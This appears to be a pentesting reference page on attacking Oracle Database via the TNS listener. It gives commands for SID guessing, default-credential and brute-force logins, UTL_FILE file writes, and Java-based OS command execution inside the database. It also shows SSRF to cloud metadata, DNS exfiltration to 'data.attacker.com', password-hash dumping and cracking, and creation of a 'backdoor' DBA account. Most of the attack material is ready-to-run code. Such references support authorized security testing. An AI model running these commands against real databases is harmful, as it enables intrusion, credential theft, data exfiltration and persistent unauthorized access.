1521 - Oracle Database

Default Ports: 1521 (TNS Listener), 1630 (iSQL*Net) Oracle is the enterprise database you’ll mostly run into in large corporations and government environments, usually holding exactly the kind of sensitive data that makes it worth the extra effort. It’s also considerably more involved to attack than MySQL or MSSQL: connecting requires knowing a SID (System Identifier) up front, not just a hostname, and that extra layer is itself worth enumerating before anything else.

TNS Listener

The gateway every connection passes through first. It needs the right SID before the actual database login even happens, which makes SID discovery a required step, not an optional one.

Database Session

Once connected with a valid SID and credentials, Oracle’s own PL/SQL and Java execution features open up command execution, file access, and SSRF directly from SQL.

ODAT (Oracle Database Attacking Tool) automates almost everything on this page, SID brute-forcing, credential testing, privilege checks, file upload, in one tool. Worth running early as a broad first pass: github.com/quentinhardy/odat

Connecting

sqlplus USER/PASSWORD@TARGET:1521/SID
sqlplus USER/PASSWORD@TARGET:1521/SID as sysdba    # administrative connection

Running a single query without an interactive session, useful for scripting or a quick check:

echo "SELECT banner FROM v\$version;" | sqlplus -S USER/PASSWORD@TARGET:1521/SID

If sqlplus fails with error while loading shared libraries: libsqlplus.so: cannot open shared object file, the Oracle Instant Client libraries aren’t on the linker path. Add the Instant Client directory to LD_LIBRARY_PATH (or ldconfig it) before running sqlplus again.

./odat.py all -s TARGET

odat all runs sidguessing, default credential testing, and a broad privilege/vulnerability check against the target in one pass, the single most useful first command against an unknown Oracle target.

Recon and SID Enumeration

Unlike MySQL or MSSQL, Oracle requires a valid SID before you can even attempt a login, which makes guessing it a required enumeration step rather than an optional one.

sudo nmap -p1521 -sV TARGET
sudo nmap -p1521 -sV TARGET --open --script oracle-sid-brute

./odat.py sidguesser -s TARGET

Common default SIDs worth trying even without a wordlist: ORCL, XE, XEXDB, PROD, DEV, TEST.

Default and Weak Credentials

Oracle installs frequently retain well-known default accounts, worth testing before any brute-force attempt.

Username	Password
`sys`	`change_on_install`
`system`	`manager`
`system`	`oracle`
`dbsnmp`	`dbsnmp`
`admin`	`admin`

sqlplus sys/change_on_install@TARGET:1521/SID as sysdba
sqlplus system/manager@TARGET:1521/SID

Brute Forcing

hydra -L users.txt -P passwords.txt TARGET oracle-listener

./odat.py passwordguesser -s TARGET -d SID -U users.txt -P passwords.txt

Manual Enumeration

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';   -- version
SELECT instance_name, status, version FROM v$instance;        -- instance info
SELECT user FROM dual;                                          -- current user

SELECT username FROM all_users;                              -- accessible users
SELECT username FROM dba_users;                                 -- every user, requires DBA
SELECT granted_role FROM user_role_privs WHERE granted_role='DBA';   -- check if current user has DBA

Table, schema, and privilege enumeration

SELECT table_name FROM user_tables;                          -- tables owned by current user
SELECT owner, table_name FROM all_tables;                       -- every accessible table
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';  -- columns in a table

SELECT table_name, column_name FROM all_tab_columns
WHERE column_name LIKE '%PASSWORD%' OR column_name LIKE '%SECRET%';   -- hunt for sensitive columns

SELECT * FROM session_privs;                                  -- current user's system privileges
SELECT * FROM dba_sys_privs WHERE grantee='USERNAME';            -- a specific user's privileges

File Upload and Read/Write

./odat.py utlfile -s TARGET -d SID -U USER -P PASS --sysdba --putFile 'C:\insert\path' file.txt ./file.txt

The same read/write capability works directly from SQL through UTL_FILE, without needing ODAT:

DECLARE
  f UTL_FILE.FILE_TYPE;
BEGIN
  f := UTL_FILE.FOPEN('/tmp', 'backdoor.txt', 'W');
  UTL_FILE.PUT_LINE(f, 'content');
  UTL_FILE.FCLOSE(f);
END;
/

Command Execution via Java

This requires Java execution permissions to be granted first, usually meaning you already have significant privileges. A successful run means full OS command execution as the Oracle service account.

Oracle can compile and run Java code directly inside the database, which, combined with a PL/SQL wrapper, gives arbitrary command execution.

Grant the necessary Java permissions

BEGIN
  DBMS_JAVA.grant_permission('SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute');
END;
/

Create a Java class that runs OS commands

CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Execute" AS
import java.io.*;
public class Execute {
  public static String run(String cmd) {
    try {
      StringBuffer output = new StringBuffer();
      Process p = Runtime.getRuntime().exec(cmd);
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
      String line;
      while ((line = reader.readLine()) != null) { output.append(line + "\n"); }
      return output.toString();
    } catch (Exception e) { return e.toString(); }
  }
}
/

Wrap it in a callable PL/SQL function

CREATE OR REPLACE FUNCTION run_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'Execute.run(java.lang.String) return java.lang.String';
/

Execute commands

SELECT run_cmd('whoami') FROM dual;
SELECT run_cmd('id') FROM dual;

Network Operations (SSRF and Exfiltration)

Oracle’s UTL_* packages make outbound network requests directly from SQL, useful for SSRF against internal services or simple data exfiltration when direct file access isn’t available.

SELECT UTL_HTTP.REQUEST('http://169.254.169.254/latest/meta-data/') FROM dual;   -- cloud metadata SSRF
SELECT UTL_INADDR.GET_HOST_ADDRESS('data.attacker.com') FROM dual;                 -- DNS-based exfiltration
SELECT UTL_TCP.IS_AVAILABLE('192.168.1.100', 22) FROM dual;                          -- basic port scanning

Password Hash Extraction and Cracking

SELECT name, password FROM sys.user$;              -- Oracle 10g
SELECT name, spare4 FROM sys.user$;                   -- Oracle 11g+

hashcat -m 3100 oracle_10g_hashes.txt rockyou.txt    # DES-based
hashcat -m 112 oracle_11g_hashes.txt rockyou.txt       # SHA-1 based
hashcat -m 12300 oracle_12c_hashes.txt rockyou.txt       # PBKDF2-SHA-512

Privilege Escalation and Persistence

Creating accounts or granting DBA are high-impact, easily audited actions. Confirm scope explicitly covers this before going beyond enumeration.

GRANT DBA TO USERNAME;

CREATE USER backdoor IDENTIFIED BY "PASSWORD";
GRANT DBA TO backdoor;
GRANT CREATE SESSION TO backdoor;

Useful PL/SQL Packages

Package	Capability
`DBMS_JAVA`	Java execution, the basis for OS command execution
`UTL_FILE`	Read and write files on the server
`UTL_HTTP`	Outbound HTTP requests, useful for SSRF
`UTL_TCP`	Raw TCP connections, usable for port scanning
`UTL_INADDR`	DNS resolution, useful for blind exfiltration
`UTL_MAIL`	Send email directly from the database
`DBMS_SCHEDULER`	Schedule jobs, a persistence mechanism

Quick Reference Tools

Hackviser: Oracle

Quick-reference pentesting guide for Oracle Database.

HackTricks: Oracle Listener

Deeper breakdown of TNS Listener enumeration and exploitation.

ODAT

Oracle Database Attacking Tool, automates most of the techniques on this page.

Oracle SQL*Plus Reference

Official command reference for SQL*Plus.

Java-based command execution, file writes, and account creation are all high-impact actions capable of fully compromising the host. Confirm scope before going past read-only enumeration.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

1521 - Oracle Database

TNS Listener

Database Session

Connecting

Recon and SID Enumeration

Default and Weak Credentials

Brute Forcing

Manual Enumeration

File Upload and Read/Write

Command Execution via Java

Network Operations (SSRF and Exfiltration)

Password Hash Extraction and Cracking

Privilege Escalation and Persistence

Useful PL/SQL Packages

Quick Reference Tools

Hackviser: Oracle

HackTricks: Oracle Listener

ODAT

Oracle SQL*Plus Reference

TNS Listener

Database Session

​Connecting

​Recon and SID Enumeration

​Default and Weak Credentials

​Brute Forcing

​Manual Enumeration

​File Upload and Read/Write

​Command Execution via Java

​Network Operations (SSRF and Exfiltration)

​Password Hash Extraction and Cracking

​Privilege Escalation and Persistence

​Useful PL/SQL Packages

​Quick Reference Tools

Hackviser: Oracle

HackTricks: Oracle Listener

ODAT

Oracle SQL*Plus Reference

Connecting

Recon and SID Enumeration

Default and Weak Credentials

Brute Forcing

Manual Enumeration

File Upload and Read/Write

Command Execution via Java

Network Operations (SSRF and Exfiltration)

Password Hash Extraction and Cracking

Privilege Escalation and Persistence

Useful PL/SQL Packages

Quick Reference Tools